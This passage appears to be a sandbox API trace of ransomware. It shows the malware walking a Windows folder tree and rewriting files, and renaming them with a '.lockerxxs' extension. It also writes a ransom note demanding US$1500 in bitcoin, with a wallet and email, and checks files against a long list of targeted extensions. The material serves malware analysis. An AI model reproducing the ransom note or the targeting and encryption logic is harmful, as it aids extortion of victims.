returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs" [0137.117] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs" [0137.117] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs." [0137.117] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs.lockerxxs" [0137.117] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\wizardpage.cs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0137.118] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x23c [0137.118] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x248b4900, dwHighDateTime=0x1cac5de), lpLastAccessTime=0x407536*(dwLowDateTime=0x9f34b780, dwHighDateTime=0x1d2e675), lpLastWriteTime=0x40753e*(dwLowDateTime=0x248b4900, dwHighDateTime=0x1cac5de)) returned 1 [0137.118] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.118] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x216, lpOverlapped=0x0) returned 1 [0137.119] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs") returned="WizardPage.cs" [0137.119] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.119] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x216, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x216, lpOverlapped=0x0) returned 1 [0137.119] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.120] CloseHandle (hObject=0x94) returned 1 [0137.120] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\wizardpage.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\wizardpage.cs.lockerxxs")) returned 1 [0137.121] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x23c, dwReserved0=0xe90001e8, dwReserved1=0x4e00c4, cFileName="WizardPage.cs", cAlternateFileName="WIZARD~1.CS")) returned 0 [0137.121] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0137.121] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ed31f20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ed31f20, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x52d540, cFileName="App_Data", cAlternateFileName="")) returned 1 [0137.121] lstrcmpA (lpString1=".", lpString2="App_Data") returned -1 [0137.121] lstrcmpA (lpString1="..", lpString2="App_Data") returned -1 [0137.121] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\*.*") returned="*.*" [0137.121] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="App_Data" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data" [0137.121] lstrlenA (lpString="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data") returned 75 [0137.121] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ed31f20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ed31f20, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe80001e9, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0137.122] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.122] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ed31f20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ed31f20, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0137.122] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.122] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.122] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="GroupedProviders.xml", cAlternateFileName="GROUPE~1.XML")) returned 1 [0137.122] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.123] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GroupedProviders.xml") returned -1 [0137.123] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GroupedProviders.xml") returned 1 [0137.123] lstrcmpiA (lpString1="", lpString2="GroupedProviders.xml") returned -1 [0137.123] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\*.*") returned="*.*" [0137.123] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\" [0137.123] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\") returned="" [0137.123] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\HOW TO DECRYPT FILES.txt" [0137.123] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_data\\how to decrypt files.txt")) returned 0xffffffff [0137.123] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_data\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0137.124] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0137.124] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0137.125] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.125] CloseHandle (hObject=0x94) returned 1 [0137.125] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\", lpString2="GroupedProviders.xml" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml" [0137.125] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.ems") returned 0 [0137.125] lstrlenA (lpString="*.ems") returned 5 [0137.125] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.db") returned 0 [0137.126] lstrlenA (lpString="*.db") returned 4 [0137.126] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.dbf") returned 0 [0137.126] lstrlenA (lpString="*.dbf") returned 5 [0137.126] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.myox") returned 0 [0137.126] lstrlenA (lpString="*.myox") returned 6 [0137.126] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.myo") returned 0 [0137.126] lstrlenA (lpString="*.myo") returned 5 [0137.126] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.qbw") returned 0 [0137.126] lstrlenA (lpString="*.qbw") returned 5 [0137.126] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.qbb") returned 0 [0137.126] lstrlenA (lpString="*.qbb") returned 5 [0137.126] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.qbm") returned 0 [0137.126] lstrlenA (lpString="*.qbm") returned 5 [0137.126] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.qbo") returned 0 [0137.126] lstrlenA (lpString="*.qbo") returned 5 [0137.126] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.qbx") returned 0 [0137.127] lstrlenA (lpString="*.qbx") returned 5 [0137.127] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.qba") returned 0 [0137.127] lstrlenA (lpString="*.qba") returned 5 [0137.127] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.qby") returned 0 [0137.127] lstrlenA (lpString="*.qby") returned 5 [0137.127] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.qbj") returned 0 [0137.127] lstrlenA (lpString="*.qbj") returned 5 [0137.127] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.ofx") returned 0 [0137.127] lstrlenA (lpString="*.ofx") returned 5 [0137.127] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.qif") returned 0 [0137.127] lstrlenA (lpString="*.qif") returned 5 [0137.127] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.mye") returned 0 [0137.127] lstrlenA (lpString="*.mye") returned 5 [0137.127] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.mbox") returned 0 [0137.127] lstrlenA (lpString="*.mbox") returned 6 [0137.127] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.eml") returned 0 [0137.127] lstrlenA (lpString="*.eml") returned 5 [0137.127] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.pst") returned 0 [0137.127] lstrlenA (lpString="*.pst") returned 5 [0137.127] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.ost") returned 0 [0137.127] lstrlenA (lpString="*.ost") returned 5 [0137.127] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.idx") returned 0 [0137.127] lstrlenA (lpString="*.idx") returned 5 [0137.127] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.dbx") returned 0 [0137.127] lstrlenA (lpString="*.dbx") returned 5 [0137.128] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.sql") returned 0 [0137.128] lstrlenA (lpString="*.sql") returned 5 [0137.128] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.mdb") returned 0 [0137.128] lstrlenA (lpString="*.mdb") returned 5 [0137.128] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.fdb") returned 0 [0137.128] lstrlenA (lpString="*.fdb") returned 5 [0137.128] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.wab") returned 0 [0137.128] lstrlenA (lpString="*.wab") returned 5 [0137.128] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.dat") returned 0 [0137.128] lstrlenA (lpString="*.dat") returned 5 [0137.128] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.txt") returned 0 [0137.128] lstrlenA (lpString="*.txt") returned 5 [0137.128] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.jpeg") returned 0 [0137.128] lstrlenA (lpString="*.jpeg") returned 6 [0137.128] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.jpg") returned 0 [0137.128] lstrlenA (lpString="*.jpg") returned 5 [0137.128] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.png") returned 0 [0137.128] lstrlenA (lpString="*.png") returned 5 [0137.128] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.php") returned 0 [0137.128] lstrlenA (lpString="*.php") returned 5 [0137.128] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.cs") returned 0 [0137.128] lstrlenA (lpString="*.cs") returned 4 [0137.128] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.cpp") returned 0 [0137.129] lstrlenA (lpString="*.cpp") returned 5 [0137.129] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.rar") returned 0 [0137.129] lstrlenA (lpString="*.rar") returned 5 [0137.129] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.zip") returned 0 [0137.129] lstrlenA (lpString="*.zip") returned 5 [0137.129] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.html") returned 0 [0137.129] lstrlenA (lpString="*.html") returned 6 [0137.129] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.htm") returned 0 [0137.129] lstrlenA (lpString="*.htm") returned 5 [0137.129] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.xlsx") returned 0 [0137.129] lstrlenA (lpString="*.xlsx") returned 6 [0137.129] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.xls") returned 0 [0137.129] lstrlenA (lpString="*.xls") returned 5 [0137.129] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.mp4") returned 0 [0137.129] lstrlenA (lpString="*.mp4") returned 5 [0137.129] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.ppt") returned 0 [0137.129] lstrlenA (lpString="*.ppt") returned 5 [0137.129] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.pptx") returned 0 [0137.129] lstrlenA (lpString="*.pptx") returned 6 [0137.129] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.doc") returned 0 [0137.129] lstrlenA (lpString="*.doc") returned 5 [0137.130] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.dot") returned 0 [0137.130] lstrlenA (lpString="*.dot") returned 5 [0137.130] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.docx") returned 0 [0137.130] lstrlenA (lpString="*.docx") returned 6 [0137.130] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.7z") returned 0 [0137.130] lstrlenA (lpString="*.7z") returned 4 [0137.130] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.tar") returned 0 [0137.130] lstrlenA (lpString="*.tar") returned 5 [0137.130] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.bz2") returned 0 [0137.130] lstrlenA (lpString="*.bz2") returned 5 [0137.130] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.gz") returned 0 [0137.130] lstrlenA (lpString="*.gz") returned 4 [0137.130] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.mkv") returned 0 [0137.130] lstrlenA (lpString="*.mkv") returned 5 [0137.130] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.eml") returned 0 [0137.130] lstrlenA (lpString="*.eml") returned 5 [0137.130] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.msg") returned 0 [0137.130] lstrlenA (lpString="*.msg") returned 5 [0137.130] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.edb") returned 0 [0137.130] lstrlenA (lpString="*.edb") returned 5 [0137.130] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.accdb") returned 0 [0137.130] lstrlenA (lpString="*.accdb") returned 7 [0137.130] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.odb") returned 0 [0137.130] lstrlenA (lpString="*.odb") returned 5 [0137.130] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.java") returned 0 [0137.130] lstrlenA (lpString="*.java") returned 6 [0137.131] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.asm") returned 0 [0137.131] lstrlenA (lpString="*.asm") returned 5 [0137.131] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.pfx") returned 0 [0137.131] lstrlenA (lpString="*.pfx") returned 5 [0137.131] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.pem") returned 0 [0137.131] lstrlenA (lpString="*.pem") returned 5 [0137.131] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.p12") returned 0 [0137.131] lstrlenA (lpString="*.p12") returned 5 [0137.131] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.gpg") returned 0 [0137.131] lstrlenA (lpString="*.gpg") returned 5 [0137.131] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.vsd") returned 0 [0137.131] lstrlenA (lpString="*.vsd") returned 5 [0137.131] 